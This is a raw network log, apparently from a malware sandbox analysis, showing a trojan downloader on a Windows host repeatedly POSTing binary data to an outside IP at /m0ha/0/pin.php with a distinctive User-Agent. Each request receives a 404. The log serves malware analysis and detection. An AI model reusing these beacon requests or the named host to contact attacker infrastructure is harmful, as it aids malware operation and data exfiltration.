Mar 15, 2021 20:01:02.822240114 CET	1137	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:02 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.5	49736	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:31.008223057 CET	1196	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:31.407385111 CET	1197	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:31 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.5	49737	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:31.655733109 CET	1198	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:32.298558950 CET	1198	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:31 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.5	49738	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:32.541887045 CET	1199	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:33.109786034 CET	1200	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:32 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.5	49739	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:33.365221024 CET	1200	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:33.615084887 CET	1201	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:33 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.5	49740	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:33.848928928 CET	1202	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:34.100250959 CET	1202	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:33 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.5	49741	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:34.358577967 CET	1203	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:34.628392935 CET	1204	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:34 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.5	49742	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:34.878601074 CET	1204	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:35.166644096 CET	1205	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:34 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.5	49743	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:35.414645910 CET	1206	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:37.513856888 CET	1207	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:35 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.5	49744	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:37.905678034 CET	1207	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:38.861871004 CET	1208	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:37 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.5	49745	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:39.134248018 CET	1209	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:39.420017958 CET	1209	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:39 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49700	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:03.117404938 CET	1138	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:03.381764889 CET	1138	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:03 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.5	49746	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:39.905941963 CET	1210	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:40.780755997 CET	1211	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:39 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.5	49747	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:41.068304062 CET	1211	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:41.614192009 CET	1212	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:41 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.5	49748	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:41.839658022 CET	1213	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:42.790277004 CET	1213	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:41 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.5	49749	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:43.049675941 CET	1214	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:43.664397955 CET	1215	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:43 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.5	49750	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:43.914421082 CET	1215	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:44.222182035 CET	1216	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:43 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.5	49751	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:44.461999893 CET	1217	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:44.709526062 CET	1217	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:44 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.5	49752	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:44.936400890 CET	1218	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:45.928817987 CET	1219	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:44 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.5	49753	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:46.167454958 CET	1219	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:46.622526884 CET	1220	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:46 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.5	49754	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:46.877665997 CET	1221	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:47.542124987 CET	1221	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:46 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.5	49755	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:47.791488886 CET	1222	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:48.513504982 CET	1223	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:47 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49701	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:04.226190090 CET	1139	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:07.057657003 CET	1140	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:04 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.5	49756	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:48.767344952 CET	1223	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:49.270061970 CET	1224	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:48 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.5	49757	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:49.520612955 CET	1225	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:49.785249949 CET	1225	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:49 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.5	49758	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:50.051361084 CET	1226	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:50.317364931 CET	1227	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:50 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.5	49759	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:50.560163021 CET	1227	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:50.805489063 CET	1228	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:50 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.5	49760	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:51.055531025 CET	1229	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:51.371975899 CET	1229	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:51 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.5	49761	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:51.624269962 CET	1230	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:51.938138008 CET	1231	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:51 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.5	49762	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:52.186492920 CET	1231	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
